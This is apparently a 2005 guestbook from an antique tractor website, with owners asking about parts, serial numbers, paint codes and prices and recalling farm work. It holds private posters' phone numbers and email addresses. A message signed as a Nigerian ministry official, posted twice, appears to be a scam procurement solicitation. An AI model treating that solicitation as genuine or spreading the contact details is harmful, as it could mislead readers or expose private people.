dave glenn wrote on Sunday, July 17, 2005 (PDT):I have a1947 olivia ddozer that starts fine but wont move does anyone have a picture? or how to replace cluth someone please help thank you
Big Joe wrote on Sunday, July 17, 2005 (PDT):I have to say that this is a good meesage board for talking about tractors and equipment, etc. Anyways, I was wondering if anyone could help me out. i need to know if there is a website where i can look up serial numbers for tractors and booster pumps. If so, please let me know. I would greatly appreciate it. Thank you.
lateleee wrote on Saturday, July 16, 2005 (PDT):anyone know the weight of a 1937 allis chalmer M model tractor?
Jim Broughton wrote on Friday, July 15, 2005 (PDT):Michael; Your Cub is 60CID, 10.5 horsepower, and if it has the original valves and rings, then a lead additive would be recommended. Hope this helps. Jim
Kathi wrote on Friday, July 15, 2005 (PDT):We just purchased a VAO, 1948. We are looking for the model number for this particular type of tractor. Can anyone help us? Is this tractor a collector's item? It is in excellent running condition and we're looking to fix it up.
Julie wrote on Friday, July 15, 2005 (PDT):I have a 1954 international 300 utility tractor i want to sell. Its been sitting for 3 years,It started right up today and runs real good. It has alot of rust and needs a 'O' ring for the hydrolic pump as it leeks, it has weather damaged tyres and a home made red iron box blade. What i would like to know is how much can i sell it for. thanks for any help.
Gary Nahrwold wrote on Thursday, July 14, 2005 (PDT):I am looking for carburetor parts for a 1931 Regular. Can anyone help??
NORBERT HIESS wrote on Thursday, July 14, 2005 (PDT):looking for a half moon sheet metal bell housing cover for my allis "g" ? any one have? 715-592-4468 or ellisimp at charter.net
Grandon E Tolstedt wrote on Wednesday, July 13, 2005 (PDT):I drove this tractor in the mid 1930s. As I recall it was purchased in 1929 and was a 20-35. I plowed with a four bottom plow and in thr spring when it was cold I would put the right front wheel in the plow furrow and then walk to the end of the field to keep warm. Then I would get on the tractor,turn it around and get off and walk again. At least 10 miles in the morning and again in the afternoon.This was training for my later time in the United States Army Infantry. My family owned this tractor until 1940. farming in north central SD.
Stephen in Ohio wrote on Sunday, July 10, 2005 (PDT):I've always loved my grandfathers Minneapolis-Moline Z. The first time I drove it I was 3. It may not be all original but it still looks beautiful in the sun. I think I will always love it.
Paul Harshberger wrote on Saturday, July 09, 2005 (PDT):Have an R. Use it often for fun/work. pull sheep's foot packer, spring tooth harrow, anything. Cant hardly stall them, super puller,loads of fun & noise. Would love to find one with good sheet metal, mostly the nose , bad motor/trans for parts. Would like to give mine a complete paint job and a place of honor in the shed!!!!
Eric wrote on Saturday, July 09, 2005 (PDT):family farm used to run several, 9's,10's,1466 models white stripes, and black stripes, cabs, open, rops(2 and 4 post)...1066 turbo open station was always the meanest, seemed to out pull the 14,s all the time, hands down. Still have that one (1973 model) restored front to back, top to bottom 2 years ago turning around 150-160 hp, would do a lot more but enjoy her to much to destroy. Red makes others GREEN with envy. Remember RED POWER FOREVER AND EVER...even if the name Case is in it!!!! GOD BLESS AMERICA
Derrick Burger wrote on Friday, July 08, 2005 (PDT):I'm looking to buy a Farmall B. I found one but its not in my price range. My grandfather has a farmall H and Super C. I love them.
Jerald Thiessen wrote on Wednesday, July 06, 2005 (PDT):My dad had 2 John Deere Model R's and in spring and fall when we had a lot of work to do , he would take the front axle off the one tractor. He would then attach a frame that attached to the back of that tractor as well as the front where the axle had been and it carried forward to be hitched to the rear end of the front tractor(other Model r). He ran extensions to the clutch trottle and hydraulic levels that you could reach back and use from the front tractor. You would then drive both tractors and could pull 24 feet of rod weeder, 24 feet of press drills and packers with one pass. The tricky part was to never go where you needed to back the unit up and to always slow down the trottle on the back tractor or you would jack knife going around a corner. I remember standing up and driving this unit as a 13 year boy. Several years later Dad Bought 5020 and it could not pull the same equipment so we only had it for a couple of days and Dad got his R's back. Spent many lomg hours on those old John Deeres.
robert frarck wrote on Tuesday, July 05, 2005 (PDT): i have a 10 20 , my partner and i have restored it ,, am wondering what it would be worth ,, the restoration was mostly a real nice pait job ,, did some carb work and had the mag gone over ,, didn'ttake the engine down ,, its on rubber now and runs good ,,, tin is perfect , any thoughts would be appreciated , as i'm thinking of sell out ,
william wrote on Tuesday, July 05, 2005 (PDT):I have a super m farmall and I want to change the generator to an alternator and remove the voltage regulator. how should it be wired. Also looking for a three point hitch for it. thank william
Phil bender wrote on Tuesday, July 05, 2005 (PDT):My Grandfather George Osterhaus of Plainfield Wisconsin bought a new Ford 8N and it reportedly was the second purchased in the state of Wisconsin. The first purchased (as family history goes) reportedly was awarded a trip to Hawaii. Does anyone have knowledge that this actually happened? Must have been 1947? Phil
John Carter wrote on Tuesday, July 05, 2005 (PDT):Hi all; I'm in the same boat as larry- I need to get that hood off to get to the points so this baby will fire up! It's a '49 8N and the points haven't been replaced in about 15 years since my grandfather died, and it hasn't run in probably 10 years now. I rebuilt the carburetor and did the rest of the tune up and replaced the battery, and it cranks and it sputters, but won't run. Did remove and clean and refill the fuel tank before I tried (of course- why rebuild a carb then ruin it again?) Points are about all I can think of at this point, and I have a set, but I can't get the hood to tilt- do I have to remove it, or is it stuck?
Clay Zinn wrote on Monday, July 04, 2005 (PDT):!!!!!URGENT!!!!! Other than Lavender and Red, What other color was the B painted?
Steve Symynyshen wrote on Monday, July 04, 2005 (PDT):I own a 1941 MH 81, originally green and gray from the Royal Canadian Air force, Unit #100D5-C41. Will be putting it up for sale, runs excellent, all it needs is a front rim, 15 inch.
Michael wrote on Monday, July 04, 2005 (PDT):Just curious, does anyone know the cubic inch and the horse power rating of the flat top four in the 1950 Cub? Also, can anyone tell me if I need to use a lead additive to the gas for the Cub? Your help is appreciated.
John Ehlers wrote on Monday, July 04, 2005 (PDT):My father farmed north of Corpus Christi, TX growing row crops, mainly cotton and milo. In 1949 or 50 as I recall he bought a new MM, what I remember to be a ZAE. As was stated earlier by several others, the steering shaft was not nearly so inclined as the one in the picture. It was on the left side. The Z had a hand clutch, brake pedals behind the rear axle housing on the left, and a seat that would swing side to side. The muffler was under the hood on the left with the exhaust pipe passing through the hood on that side, projecting vertically about 18". I remember the brakes because I could stand up on either or both of them. When running a four row cultivator, I would swing the seat to the left and stare at the row passing under me all day long for fear I might plow out some cotton. If you snapped the cluth in with a rear tool bar of equipment, the front wheels came off the ground. In the winter, we would "lift the beds" with a five row plow that covered up the winter weeds. The soil actually was a little light on the south end so I could run one gear higher which I think was 4th. A seven year drouth started in 1951 and the ground was extremely hard in August when it was time to plow out cotton stalks. We tightened the sweeps with a 24" Crescent to prevent then from tripping. The Z kept on pulling and would finally break the U bolts that attached the plow beam to the tool bar. The only problem I remember was burned valves which may have been related to excessive load. My dad changed the tires from 11-38's to 12-38's and the speed picked up noticably without any noticable loss of power as I recall for what we did. As I recall, we could plow out about 40 acres of cotton stalks in a day. Bid deal,huh? We thought is was.
Mary Lambert wrote on Friday, July 01, 2005 (PDT):My husband has a farmall tractor that he wire brushed and put rustoleum primer on. We would like to list it on e bay but don't know where to find the model number. It is a regular we believe from 1929 or older. It runs very good. Could you tell me where the model number is. thank you mary
cletus wrote on Thursday, June 30, 2005 (PDT):wuts an L?
todd hart wrote on Thursday, June 30, 2005 (PDT):Just picked up a 44 massey row crop 1951 I beleive,,looking for some parts and manuals, runs and pulls good but slips some hydraulic oil into crankcase i think, any help would be appreciated
Jim Broughton wrote on Wednesday, June 29, 2005 (PDT):To; Bill Cartwright..the IH color you want for that model Cub is called "Red Rouge" #2150, available from your Case/IH dealer..should be around $12.00 a quart..if you are just "touching-up" they also have it in spray cans. Case/IH # is991010R2, spray is #991012R3. Hope this helps and good luck! Jim
Jerry Lynch wrote on Tuesday, June 28, 2005 (PDT): Hello Ijust recently bought a super 55 oliver. the problem is that the three point hitch is stuck up in the air I have not purchased a service manual for it yet but I was wondering what kind of a job it is to get it working again & what i need to do to fix it. any help would be appreciated. thank you Jerry Lynch
Brian J wrote on Tuesday, June 28, 2005 (PDT):Hi. Looking for a Cub in good running condition with sickle mower. New England area please. Anyone have one for sale or know of one? Thanks.
Elliott wrote on Sunday, June 26, 2005 (PDT):This was my first tractor that I ran when I was 9 for vmy dad. I loved them. Just got 1 last week and going to restore it. What is the right color code to paint this? Thanks and this looks real good.
Bill Cartwright wrote on Sunday, June 26, 2005 (PDT):I recently purchased a 1948 Farmall Cub that I am restoring. I like the color and paint scheme of the Cub pictured at the top of this page. Can anyone tell me what color red this is. Is it Farmall red or some other color. Thanks in advance. Geneseo NY.
Kevin Doty wrote on Sunday, June 26, 2005 (PDT):I have a B Farm All, I love it, Still use it daily to this day, needs some minor mechanical work done on it, and could also use a paint job as well. JUst put 2 new tires on the fron and one on the right rear side. For those who are interested in stayingin touch or shareing ideas, please feel free to visit my website forum. www.kdtechnology.com I look forward to hearing from as many farmall owners as possible, or event hose interested, or those with experience with them. Thanks Kevin Doty Broken Arrow Oklahoma 918-451-2571
Donavon Hardesty wrote on Saturday, June 25, 2005 (PDT):I have a Z with some equp. I would love to know if I can buy a wide front for mind. I have some hills to mow and Im affraid it will tip.
Roy Macus wrote on Friday, June 24, 2005 (PDT):I have a 1924 Fordson model F. This tractor has a Taco governor on it. The Wire from the flywheel mag unit is missing. If there is anyone who can tell me how it is hooked to the governor unit I would like to get a diagram or something explaining its hook up. Thank you for any information offered Roy marcus
Donny V wrote on Thursday, June 23, 2005 (PDT):just aquired a lo-boy not sure of the year cant find a serial number anywhere it is supposed to be. it is not a positive ground system doesnt have a magnito and the name plate on the engine cover says mccormick farmall and is a plate rather than a decal any help would be appreciated
Roy C. Wolf wrote on Wednesday, June 22, 2005 (PDT):I am looking for a belt pulley for a 1940 John Deere Model "L" Serial # 633254; the spindle is on the left side of the tractor with two bolt holes for mounting the belt pulley; does anyone out there have one or know where I can get one. Thanks, rcw
DonHahn wrote on Tuesday, June 21, 2005 (PDT):I would like to know if anyone has a Magneto, good one, that they would sell for a 20-40 model G Rumley Oil Pull.and what price.
clare johnson wrote on Sunday, June 19, 2005 (PDT):I have a massey harris 44sp I think. The ser.# is 44RG 30611. If anyone could help identify it I would appreciate your help.
clare johnson wrote on Sunday, June 19, 2005 (PDT):I have a massey harris 44sp I think. The ser.# is 44RG 30611. If anyone could help identify it I would appreciate your help.
j.e. pedigo wrote on Friday, June 17, 2005 (PDT):just got 60 row crop. working but need rear tires. where would i look for right side grill?? also would like to know paint codes. pretty sure this is from 40 to 45. any help on serial numbers and exact dating also helpful. this one mowed hayfields along the ohio river, also helped in the planting of many tomatoes in the 50's and 60's. will now be family parade ride! thanks for site
kirk farris wrote on Thursday, June 16, 2005 (PDT):How do I get my 1952 Ford 8N out of gear..very stuck...what is the trick? Please
jack mayes wrote on Wednesday, June 15, 2005 (PDT):I would like to find a g-706 for my wife. 1959 or later if anyone might have one for sale. Please email me.at JNNMYE at aol.com I have enjoyed the eb site. Thanks Jack Mayes
Jeremy Steinkamp wrote on Wednesday, June 15, 2005 (PDT):I have a BF AVERY FOR SALE model A wide front end 3 point hitch. Sheet metal great,tires fair,has run one year ago. Needs new wiring. IXB3 engine.year1945. Phone cell phone 812-216-2013 Home phone 812-358-3455
Claude Bowers wrote on Tuesday, June 14, 2005 (PDT):I have a pony tractor that I acquired from my uncle. It is in good shape and was running when parked a couple of years ago. I plan to restore it and use it for hobby farming and utility work. I would like to get a repair manual if anyone has access to this. I am willing to pay for copying and shipping .
Galen Beck wrote on Monday, June 13, 2005 (PDT): I have a Rumley DoAll tractor, Wakashaw engine, Model XA282E Date on engine 1932 with the tricycle front and the final drive wheels that could be rotated to raise the tractor for cultivating. It has all the parts. The radiator is apart. The top tank is in good shape. The fuel tank has some rust holes in it. The engine is lose. Have all the lugs and front steering rings. Would sell.
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
Dale Bowman wrote on Sunday, June 12, 2005 (PDT):Just acquired a Farmall A, Serial #FFA 194664. Was told it was a 1940 Super A. Is that correct? One cylinder is hung up. Needs fenders and tires for the most part. It appears the main part of the tractor was originally red and the sheet metal was blue. Have heard this could be a rare one but I doubt it. Anyone have any info?
Pamela Parker wrote on Saturday, June 11, 2005 (PDT):My husband recently pasted away,I really need to know a fair asking price on a breaking plow and a disc that he used with his 8n 1952 Ford tractor.
clark wrote on Thursday, June 09, 2005 (PDT):My dad had a 1950 john deere he just sold it a couple of days ago he restored the whole tractor there is no tractor like it I will miss tractor rides.
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
Randal Tillery wrote on Wednesday, June 08, 2005 (PDT):I have a 1948 Farmall A, and I'm looking for any and all implements that fit it including cultivators, plow, belly mower, disks, etc. I'm also looking for a working or at least complete pneumatic lift-all for it and any of the attachments that use the lift all. I'm also wondering if anyone knows whether any of the Cub implements are compatible with the A. Thanks, Randy
charles wrote on Monday, June 06, 2005 (PDT):i have a 8n ford tractor with funk flathead six is in good shape very little rust i want to sale or possible trade
Terry wrote on Sunday, June 05, 2005 (PDT):I have a 1940 DI Case that I'm currently restoring. It has a mull loader on the front. I would like to know what the original color scheme of this tractor. I can't find any pictures any where. If any one has any knowledge of this, please let me know. Thanks.
Bob Ferguson wrote on Saturday, June 04, 2005 (PDT):I am looking for a running 8-16 to rent or purchase. My Grandfather used one when my father (89) was a boy. I would like to find one so he could play with it this smmmer. You can phone me at 800-326-4919. Thank you, Bob Ferguson
Gary Head wrote on Thursday, June 02, 2005 (PDT):Gordy - I have a ac160 for sale. The engine has been rebuilt and the muffler has been rerouted to the rear to keep low hanging tree branches from damaging the stack. It has the deisel engine and turf tires. The tractor is in good shape and is used weekly to pull a gang mower around my golf course.
THOMAS COLEY wrote on Thursday, June 02, 2005 (PDT):GREAT LOOKING TRACTOR.
THOMAS COLEY wrote on Thursday, June 02, 2005 (PDT):GREAT LOOKING TRACTOR.
Curt Olson wrote on Wednesday, June 01, 2005 (PDT):how can I find A front end for a Model M-D High wide These are very rare I understand and so please e- mail be back.
Michael wrote on Monday, May 30, 2005 (PDT):Jim Broughton, Thanks for the info! I live in Tacoma WA, and as you stated, they are costly. This Cub runs very well, and has been maintained properly. The engine, transmission, and drive train have all been gone through. I plan on many years of enjoyment! I hope to join a tractor club once I get back from deployment from Iraq, which is scheduled for March of 2006. Thanks aagain!
david stephenson wrote on Sunday, May 29, 2005 (PDT):i brought a m5 last year for 1800 dollars and my son and i are in the process of restore it, i grew up on a 445 gas moline in s.eiowa 40 years ago we plan on taking it to show and maybe stock class pulls when we get it done.
Jim Broughton wrote on Sunday, May 29, 2005 (PDT):Michael; Per your serial number, your Cub is a 1950 model...price is subject to how you plan to use it and if any implements came with it...out here (Oregon) that price for just the tractoris a little high...but if you use it and it runs well, then...enjoy!! Jim
Michael wrote on Sunday, May 29, 2005 (PDT):I currently purchased a 1948-1950 Cub, and trying to find out more about it. I paid $3500 for it. Serial #107,333. It came with rear axle extensions, and a complete hydraulic set up for practically anything. What year is it,and how badly did I get raped on the price?
Don K. wrote on Saturday, May 28, 2005 (PDT): I own a 1941 H with a cab,YES A CAB, the guy I got it from redid tractor about 15 years ago, He pulled it off the neighbor's rock pile. It run's great but would like to put three pt. hitch on it. anyone have the plan's to make one? (to buy after market is nut's $$$$$$ ) Thank's
RICHARD wrote on Friday, May 27, 2005 (PDT):I PURCHASED 1959 OC-46-3G TRACK LOADER LAST FALL IT STARTS AND RUNS GREAT USED IT LAST WINTER TO PUSH SNOW,GREAT COLD START. PREVIOUS OWNER INSTALL ELECTRIC FUEL PUMP,WIRED DIRECT,I INSTALL AN INLINE SWITCH PREVENT FLOODING AND DRAINING BATTERY, UNDERCARRIAGE IS LITTLE ROUGH,SOME REAR OIL LEAKS. WOULD LIKE TO RESTORE OC-46 LOOKING FOR NEW DISTRIBUTOR CAP, FUEL PUMP OR REBULD KIT,CARB KIT,LEFT DRIVE HUB,STUDS,REAR SEALS,AND GASKETS. PREVIOUS OWNER HAD ORIGINAL SHOP MANUEL ANYONE WITH LEAD ON PARTS WOULD BE APPRECIATED THANKS.
IJ. Hendrick wrote on Thursday, May 26, 2005 (PDT):I'm an owner of a 1948 Farmall Cub, I'm living in The Frisian state of The Netherland in june (6-12)I wil visit Newport beach California, I,m seeking for a toolbox for my Cub. dit you now one in dat place or nearby. please contact me greetings to all Cub owners IJbele Hendrick
IJ. Hendrick wrote on Thursday, May 26, 2005 (PDT):I'm an owner of a 1948 Farmall Cub, I'm living in The Frisian state of The Netherland in june (6-12)I wil visit Newport beach California, I,m seeking for a toolbox for my Cub. dit you now one in dat place or nearby. please contact me greetings to all Cub owners IJbele Hendrick
T Smith wrote on Monday, May 23, 2005 (PDT):We have a 1941 or 1942 John Deere Model L tractor is good condition, rebuilt motor. We are wondering what the value is...does anyone know where we can get an appraisal.
George wrote on Monday, May 23, 2005 (PDT):I have a 1945 Farmall AV with a single bottom plow, cultivators, and a Woods model 301L bellie mower that is in excellent condition. Converted to a 12 volts system. 2 drawbars & a PTO. No hydrolics. New tires with wheel wieghts. Lights that work, front & rear. New radiator core in May 05. Fenders & sheet metal very good cond. Runs excellent and starts quickly. Am concidering selling to get something w/3PH to use in the vineyard. Photo available.
Ethel Weldon wrote on Saturday, May 21, 2005 (PDT):My husband left a Farmall Regular with me it is on steel with all parts including magneto. I will need to sell it but need to know what year I have pictures
julian harris wrote on Friday, May 20, 2005 (PDT):Larry Wlodarsky give me a call 1270 4422850
O. Cox wrote on Thursday, May 19, 2005 (PDT):I need a wiring diagram for a 54 Ford NAA farm tractor. It is 6 volt with a positive ground. If anyone can help me,please email this to me. Thanks
Julian Harris wrote on Thursday, May 19, 2005 (PDT):Mary Orander, sounds like you have whati am looking for give me a call 1 270 4422850
JOHN wrote on Wednesday, May 18, 2005 (PDT):WANTED SMALL DOZER WITH A BLADE IN VERY GOOD WORKING ORDER,IN THE MIDWEST
JOHN wrote on Wednesday, May 18, 2005 (PDT):WANTED SMALL DOZER WITH A BLADE IN VERY GOOD WORKING ORDER
Richard wrote on Wednesday, May 18, 2005 (PDT):I have a 1949 C,which is needing a clutch,pressure plate etc.,can anyone direct me to a website I can purchase a manual which will give me the required steps for clutch replacement? Also,recommendations location for purchasing the required parts for this work?
Steve Lenhard wrote on Wednesday, May 18, 2005 (PDT):I have a farmall Cub with a 72" mowing deck I am selling. I am located 30 miles west of Philadelphia. The tractor starts and runs well and has been used for past 3 summers to mow my 4+ acre property. I will post more specific info (serial numbers, year, etc) when I look for them on the tractor. I would like to get $2200 for the tractor ( I paid 2950 3 years ago) and it runs just like when I got it. My phone # is 610 458-3668 If interested I can take pics to send in email as well. Thanks
ken wrote on Tuesday, May 17, 2005 (PDT):I HAVE A SICKLE BAR OFF MY DADS OLD FARMALL CUB THAT HE SOLD 20 YEARS AGO. IT SAYS ( IH 51388 RI ) ON IT.I AM NOT SURE WHICH FARMALL MODEL IT IS SUPPOSED TO FIT. I DO KNOW IT WAS NOT FOR HIS PARTICULAR MODEL BUT IT WORKED AND IS STILL IN WORKING CONDITION HAVE KEPT IT OILED DOWN.. WOULD LIKE TO KNOW WHAT IT FITS AND ITS VALUE
Larry Robbins wrote on Tuesday, May 17, 2005 (PDT):My son bought a Z last week from a 86 year old gentelman. The tractor has been used very liitle and always kept in a shed. Little elbow grease and the Z looked like new again. It nice to see a 16-year-old continue with the Z were the older gentelman left off.
D Shelton wrote on Sunday, May 15, 2005 (PDT):I have a va trackter i wont to sel looks and runs great I need a buyer so i can get a back hoe so if interested please email me or call me at 707 995 1715 thanks dan
Earl Barnett wrote on Saturday, May 14, 2005 (PDT):I have a Farmall 350 Utility and would like to replace the standard steering with power steering. Does anyone know where one of these is which is on or off a salvage tractor? Thanks so much.
Tom Hutchinson wrote on Friday, May 13, 2005 (PDT):I recently had restored the 1931 John Deere GP that my father started farming with. My father's brother restored the engine about 35 years ago. It was stored inside until I had it restored completely over the last 6 months by Jack Cook of Monrovia Indiana. It truly looks like it just rolled off the assembly line. It is one of my proudest possessions. I'm looking forward to my first antique tractor show.
Wayne Morgan wrote on Friday, May 13, 2005 (PDT):I have a model A. dont know what year but the lift works off the exhaust. Runs good but need some lift parts any ideas? Also do you have any pictures? Thanks Wayne
allen wrote on Thursday, May 12, 2005 (PDT):I HAVE A GOOD TRCTOR, BUT THE STARTER OR SOMETHING ELSE MAKES IT NOT START..I HAD IT RUNNING, STOPPED IT AND IT WON'T RUN..WHAT VOLTAGE SHOULD IA HVE WHEN THE STARTER GEAR IS ENGAGED AND BUTTON PUSHED>>>OR ANYBODY KNOW A DAMN THING ABOUT THE STARTER..THANKS
Dennis Ferguson wrote on Tuesday, May 10, 2005 (PDT):I have a 50's model cub in running condition with good tires. Could someone give me an idea of restoration cost?
J Clark wrote on Tuesday, May 10, 2005 (PDT):I am looking for a 4cyl for my 9n to rebuild. If you are in to the V8 swap,mabey I can buy your 4cyl.
Mike wrote on Monday, May 09, 2005 (PDT):I have a Farmall Cub 1948-50 I would consider selling.I also have a single furrow plow, row cultivators and a few other parts as will, asking $2,500, Southren Ontario 613-925-3515
IHMAN3388 wrote on Monday, May 09, 2005 (PDT):I work on a dairy in western PA. We use all IH with around 15 running tractors in all that we use. There are more on a Farmall retirement plan that aren't used daily. WE have a cub, A, C, H, 2 Ms (1 with a picker), 584 overhauled, 4 1066s (3 open station all are white stripes) and a 1466 white cab. There is also a 5088 in the shop that has been in "overhaul" for a few years now. the shop needs to get their butts in gear. These tractors are great, the 1066's can't be beat for their looks, their engines and the Name. I wan't to buy a 10 for myself when I get my place. I only hope that inlcludes some acreage to use her on! ;)
Ed Miller wrote on Saturday, May 07, 2005 (PDT):We had a 41 M with the m&w kit in it, would pull 3 16's in Ohio clay all day long, am looking for one to restore, any one want to sell a good one?
david Crowley wrote on Friday, May 06, 2005 (PDT):I am trying to restore a 1937A John Deere tractor. I need a magneto, gas tank and rear tires to name a few. Please contact me with information or these parts,,,David Crowley
aland wrote on Friday, May 06, 2005 (PDT):I read several times going through the questions above, but, who is a supplier for engine components for the 2010 diesel engine (other than Deere!) Also, the same question again, If the serial tag is missing, then where to look for number? thanks.
Kevin Richmond wrote on Thursday, May 05, 2005 (PDT):Iam working on my father-in-laws 8N Ford Tractor and need a diagram of the wiring for the front and rear lights. It is a 1949. Can someone PLEASE help me.
Lus Borges wrote on Thursday, May 05, 2005 (PDT):I have two JD Model R. My father bought one as new and the other in second hand.I was a boy and I grow up always with them in my farm. Today I am 45 years old and I still have both. If necessary, they can work! They are the best of JD!
stephen lail wrote on Wednesday, May 04, 2005 (PDT):hey ed i just bought a 1948 massey 22 , one of the rear rims is bad i believe it is a 10 x 28 where are you located and do you know where i could find one ? thanks.
William wrote on Tuesday, May 03, 2005 (PDT):I am looking for external expanding shoe type brakes for my Case VAI, if you have any information please contact me at my e-mail adress. Thank You
John Karlson wrote on Tuesday, May 03, 2005 (PDT):I have a farmall Cub for sale, year is probably about 1947 with pretty complete cultivating equipment. Engine has been rebuilt, with probably no more than 100 hours on it since then. Really don't know the year, but serial number is 524427, asking $2,000.
Randy wrote on Tuesday, May 03, 2005 (PDT):Looking for a model G in the Western U.S., preferebly with implements. Randy
Randy wrote on Tuesday, May 03, 2005 (PDT):I'm looking for a cub any year, preferably with implements, anywhere in the Western US. Any takers?
BUCK wrote on Tuesday, May 03, 2005 (PDT):Just bought a 1948 cub it is all origanal and runs very well but I do not think the govener is working properly can any one help.
Susan Roberts wrote on Tuesday, May 03, 2005 (PDT):I have a friend looking for gaskets (and possibly other parts) for an 8-16 to repair a stuck engine. He would greatly appreciate any info on parts or the tractor. Thanks!
Steve Bontrager wrote on Sunday, May 01, 2005 (PDT):I have just puchased a 560 diesel for $100.00 does it sound like a good deal the engine is locked up tight and the clutch is stuck to the flywheel does it sound like a good deal i am starting to have second thoughts about my new toy.
Gil In Ok wrote on Sunday, May 01, 2005 (PDT):Can anyone tell me how to read the SN# on an old Farmall tractor? Such as the year it was made. If it is an A or B. I think it is a Farmall A. It belonged to my step-dad and I had left home25 years befor I met him so don't know much about the tractor. I think it was made in 42 or 43. Thanks, GIL.
David Bowes wrote on Saturday, April 30, 2005 (PDT):does anyone have a wiring diagram for for M/H Pacer 6 volt tractor that they can email me. I'm tring to lick a charging problem. thanks, David B
barrie bent wrote on Friday, April 29, 2005 (PDT):barrie w. bent wrote on friday April 29,2005(PST); i have #(1)1935 fwd mh gp tractor on rubber running fine with foreign carb,herc.engine,app.1935 ohc 4x41/4 w/starter.#(2) 3/4 fwd, older model,flat head,(missing-rad,steering,mag)siezed, on steel. #(3)older model,have only main frame casing and innards w/steel wheels.looking for kingston carb supposidly fits '35 model.apparently mh made 5 sizes of tractor,(witdth)and I have #1,#3,#5! e-mail NS Canada. I did not realise the last time I put this add in it had the wrong address,SORRY to those that tried.
sid berard wrote on Thursday, April 28, 2005 (PDT): my dad bougth new 1939 z moline $9oo.00 rubber lites starter used it on 3 bottom plow thrasher &12a jd combine pto used it till 1956 traded it. good tractors Frist tractor I drove
virgil j. reinig wrote on Thursday, April 28, 2005 (PDT):wes go to any case-ih dealer have them get the trans. book and take a picture and go from there that was what i did years ago VIRG
CD wrote on Wednesday, April 27, 2005 (PDT):Have Cub for sale. Early 50's 314 330-5842
Clark Dennert wrote on Wednesday, April 27, 2005 (PDT):Have a Farmall M that needs a good home and a little work. 314 330 5842 $1000.00
Wes Thompson wrote on Tuesday, April 26, 2005 (PDT):I am in need of a breakdown (diagram) for a 1946 Case SC transmission. The person who took it apart had a heart attack and I was asked if I could put it back together for him. I would like to get this done for him A.S.A.P. So any help would be appreciated. Fax #906-779-2406 Thanks in advance.
Sandra Berube wrote on Tuesday, April 26, 2005 (PDT):We will be opening a Tractor Supply Company store in Valdosta, GA and was wondering if you would know of any local antique tractor clubs that like to show off their tractors? We plan on having alot of activities going on during opening day (sometime in June) and would like to have an antique tractor exhibit. Any help would be greatly appreicated. Sincerely Sandra Berube
Eric Custer wrote on Sunday, April 24, 2005 (PDT):I have a very late Oliver 60 Row Crop. i have a few questions to anyone who can answer them. I have the very short rear tires on my tractor, i think they are 28 inches. The wheels are seven lug, i have seen six, seven eights and nines on the rears of Oliver 60's.Most of the 60's i have seen have the taller and skinny tires on them. I have another Oliver 60 with a manure bucket on it and i was wondering if anyone made new seals and etc. for the hydraulic lift on it. If anyone out there knows where i could find a reproduction umbrella for my tractor would be nice, im looking for the type that goes from fender to fender and looks almost like a covered wagon top. This is mostly just a parade tractor, but it does get to get dirty every once in a while. Any tips or answers would be greatly appreciated.
